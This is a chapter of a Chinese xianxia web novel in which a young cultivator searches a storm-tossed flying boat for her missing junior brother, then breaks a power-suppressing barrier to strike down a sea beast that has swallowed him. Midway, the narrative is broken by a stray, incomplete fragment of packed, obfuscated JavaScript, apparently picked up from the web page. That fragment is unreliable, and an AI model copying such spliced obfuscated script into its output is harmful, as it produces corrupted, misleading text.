林予微一刻不敢停,拖着早已吓得腿软走不动路的杜彦迅速爬上梯子,一面回头招呼蔺无咎道:“师弟,快回甲板上!” 林予微只顾逃离此处,连拖带拽地将死死抱着她小腿不肯撒手杜彦拉上甲板,并未注意到离开时小师弟注视海面时那平静而又诡异的眼神。 蔺无咎并未跟上她,起身站到了舷杆前,垂眼望向海面下迅速游动的黑影,嘴角噙着的笑意逐渐变大。 他唤醒冲星,语气中是掩饰不住的愉悦。 “你猜,这次本座看见了什么?” 21. 海兽 杜大少爷刚被拽上甲板,就被一众大呼小叫的侍从拥簇了起来。 此时甲板上已聚集了不少弟子,正谨慎地看向海面。 林予微隐隐瞥见了明夷师姐的身影,似乎在与人交谈着什么。 她抬头看了看天色,星海晴空,并非天气引起的风浪,想来只有一种可能——海兽。 与此同时,率先走到船头探查的弟子也印证了她的想法。 “我们遇上海兽了!” 海兽通体庞大,破坏力极强,处理起来十分棘手,不过今日有这么多仙门弟子在场,即便玄舟护法阵起不了太大作用,应当也不会有什么问题。 想到这里,林予微也安心了许多。 她一身衣服都被海浪打湿,甩了甩头发,拧干袖子里的水,道:“师弟,你我二人灵力低微,想来也帮不上什么忙,还是先回舱内,等会儿再出来看看是什么情况吧。” “师弟?” 林予微没有等到回应,猛地回头,身后竟不见师弟身影。她的脑袋里“嗡”的一声,脸色霎时变得惨白。 “师弟!?” 与此同时,另一头汇集一处的宗门弟子也遇上了难处。 “怎么回事?” “我的灵力为何用不了?” “我也用不了?!” “玄舟的大阵怎么也失效了!” “……到底怎么回事?!” 若无灵力附身,他们一众人恐怕都不是海兽的对手。 惊慌的情绪瞬间在人群中蔓延开来,不知是谁喊了声:“我们只怕是遇上无有界了!” 传闻无有界自天地开辟时便已存在,飘荡于无人之境,踪迹难寻,无论仙魔只要身处此界就无法动用灵力。 三百年前,无有界被玄戈仙君劈成无数道碎片,散作无数小型结界,部分器修会设法捕捉,将其炼制法器,供于宗门体试武场使用,以此来保证无人在背后暗用灵力。 原先这些无有界都快被各派器修给捉得差不多了,没想到在这里还与海兽一同碰上了。 此时的林予微已经听不太清那些人究竟在说些什么,一心只想找回小师弟。 风浪渐起,玄舟也随之猛烈摇晃,几乎让人无法站立,她不慎被滑动的绳索绊倒,甚至来不及感受疼痛,迅速爬起身折回平台。 “师弟——” 平台并无人影,她跌跌撞撞爬下长梯,几次险些被海浪打翻,来到了方才师弟所在的位置朝海里张望。 “师弟!” 波涛汹涌,底下漆黑一片什么也看不清。 紧接着,海面被一道形似庞大的黑影撑破,随之泛起的巨浪顷刻席卷而来。 林予微抵不住这股巨大的冲力,被一浪拍上甲板,又险些被回卷的浪潮拽入深海,好在她及时攀住船舷。 她费力爬回甲板,来不及庆幸死里逃生,就跌跌撞撞地朝人群中跑去。 “师弟——” “你们有没有看到我师弟……” “紫衣马尾……身上很多小铃铛,走路时会叮当响……” “……” “师弟!” 她环顾四周企图寻找师弟的背影,不停拉住过往的弟子询问,一时没站稳,撞到了前来寻她的明夷身上。 明夷一早就从杜彦口中得知林予微与他们在同一艘玄舟上,不过杜彦那张嘴实在太欠,说几个同门弟子在外当然要相互照顾,凑一桌吃顿饭,可见了林予微没说两句就将人气走,她也因有其他事处理,一直没机会与她打上照面。 林予微惨白着一张脸,宛若看见救星般拉住她的衣袖:“明夷师姐,你有没有看见我师弟?” 明夷摇头道:“外面风浪太大,你先回舱房,我定会帮你留意。” 林予微摇摇头,可话还未说出口,一道巨浪再次掀来,整艘玄舟被推上浪峰高高悬起,后又猝不及防坠落。 她的身体也被这股力量抛起、摔下,她“砰”地一头撞在了甲板上,疼得眼冒金星。 强烈的失重感,让林予微的心脏几乎快要跳到了嗓子眼,而越过这道浪峰之后,又是一道更高的浪峰。 明夷一手抱住船桅稳固身形,一手死死拉住林予微。 玄舟再次被海浪推高,林予微回握她的手腕,紧张地闭紧双眼。 这次坠落的失重感并未如约而至,船身好似忽然被什么固定一般。 她睁开双眼,发现此刻玄舟的船身被无数道触角缠住,悬于海面。 藏匿深海的怪物终于显露出真正的模样。 那海兽体型庞大,高逾数十丈,通体血红,表面纵横交错的血管汩汩跳动,黏液不断从中渗出,犹如一颗长满蠕动触手的巨型心脏。 林予微与海兽硕大而又诡异的幽绿瞳孔对上视线,一种无形的恐惧与压迫感占据了她所有的理智,她听到胸腔内如擂鼓般的心跳声。 就在这时,甲板上不知是谁惊呼道:“快看!上面有个人!” 林予微强压下心底的恐惧,费力抬头望去。 尽管海兽的触角几乎缠绕了他的全身,只露出一颗脑袋和一片衣角,但林予微还是一眼将人认了出来。 “师弟——!” 她慌忙转身,拉住明夷的衣袖,眼泪在开口那一瞬掉了下来:“明夷师姐,我……” 不等她把话说完,明夷拍了拍她的后背,递给她一个安抚的眼神,毫不犹豫地起身拔剑掷出,朝着那根触角斩去! 可惜此时众人身处无有界内,明夷身上无灵力加持,再加上海风巨大,还未碰到那海兽的触角,就被一股罡风震回,唰然插落在明夷脚边,削掉了她发尾几缕青丝。 明夷偏不信邪,再次拔剑掷出。 但,依旧无济于事。 听见甲板上林予微的呼喊声,冲星忍不住道:“主上,那凡人似乎很担心您。” 蔺无咎回头瞥了一眼。 此时的林予微脸色惨白,眼眶通红,浑身都被海水打湿,双肩无力垂落,看起来狼狈不堪。 蔺无咎的眼皮轻轻颤了一下,复杂的眼神落在她身上许久。 最后,他终于收回视线,平静道:“不用管她。” 说实话,这凡人除了几次无意戏弄主上外,在其他方面对主上确实没的说。 冲星叹了口气,感叹:“主上还真是个狼心狗肺的混蛋。” “……” “那凡人若知道您是为取回海兽体内的魔骨才故意被抓,害她担心成这样,定是要恨死你了。” 蔺无咎闭了闭眼,抿唇道:“这世上恨本座的人多了。” 冲星:“……” 它见主上近日对那凡人宽容了许多,还以为主上是对她动了恻隐之心,如今看来是它多虑。 恰在此时,海兽倏然张开血盆大口,嘴角竟直接裂至脑后,露出数排细密可怖的尖牙,抓着蔺无咎的触角毫不犹豫朝着口中送去。 蔺无咎依旧面色不改,注视着海兽喉咙深处的一抹暗光,眼底隐隐划过一丝兴奋。 甲板上的明夷几次尝试控剑救人,接连被海兽身上的罡气掀翻,早已体力不支,跌倒在地。 林予微僵愣在原地,看着巨兽露出尖锐的利齿,整个人好像瞬间抽走了魂魄,脑子里一片空白。 她浑身颤抖不止,因心中的恐惧,双腿像是注了铅般,动弹不得,只能眼睁睁看着师弟的身体被触角束缚,缓缓送入了海兽口中。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林予微攥紧袖下的泛白指骨,指尖死死嵌入血肉!却在某一瞬陡然松开。 鲜血顺着她的指尖一点一滴地落下。 她唰然拔出明夷身侧嵌入甲板的长剑,一脚踏上舷墙跃起,不带任何犹豫地飞身冲向海兽,嘶声怒道:“还给我——!!!” 明夷脸色登时一变,忙不迭起身想要拦拽她:“停下!” 翩飞的衣角从她指尖擦过,明夷只能眼睁睁看着她朝海兽冲去。 在海兽庞大的身形面前,林予微的身躯显得格外渺小而又脆弱不堪。 一如蚍蜉撼树。 到头来受伤的只会是她自己。 “林予微!快停下!” 飓风霎时从林予微的耳畔呼啸而过,衣袍在海风中猎猎作响,她早已什么都听不进了,脑子里只剩下一个念头—— “把师弟还给我!!!” 话音落下的那一瞬,林予微手上的剑陡然爆出一道刺眼的金光,磅礴剑气轰地冲向四面八方!竟生生撕碎了无有界! 轰! 气流狂掀四起,海面爆溅起无数翻白海浪,林予微双手握剑,一条金龙虚影不知何时从她心口游走至剑尖,在她剑锋挥下的那一瞬间,又赫然化作一条咆哮的巨龙冲向海兽! 那如同跳动心脏的巨大身躯顷刻间被贯穿!金色游龙也转瞬消弭于无形,唯留下剑气扫过在空气中留下一串爆破的金芒,瞬间映亮她的周身,齐齐斩碎海兽的触角! “师弟——!” 明晃晃的金光顺着撕裂的血肉|缝隙丝丝缕缕地照落下来。 此时,身处海兽心室的蔺无咎闻声猝然回头。 抬眼间,一道明绿的身影搅碎昏沉夜幕,猝不及防撞入了他的视野。 哗—— 在漫天簌落的血肉残肢与飞溅的血雨中,二人对上了视线。